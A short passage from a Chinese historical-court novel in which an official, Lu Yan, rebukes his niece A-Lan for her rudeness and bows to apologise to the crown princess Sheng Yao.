就在这互相对峙之际,门内传来一声呵斥: “阿览!住口!无状!” 一个身着深色布袍的中年男子从门后快步走出。他面容清瘦,眉宇间与卢太傅有几分相似,只是鬓角已染风霜,神情更显沉郁。他一出门,便狠狠瞪了那女郎一眼,随即快步上前,一把将她拉到身后。 “叔父!”那叫阿览的女郎不服气地挣了一下。 中年男子向前一看,更不犹豫,立刻整衣肃容,趋上两步,对着盛尧长揖及地,声音微颤: “臣,光禄勋属吏卢偃,拜见皇太女殿下!小侄女年幼无状,冲撞殿下,万死万死!”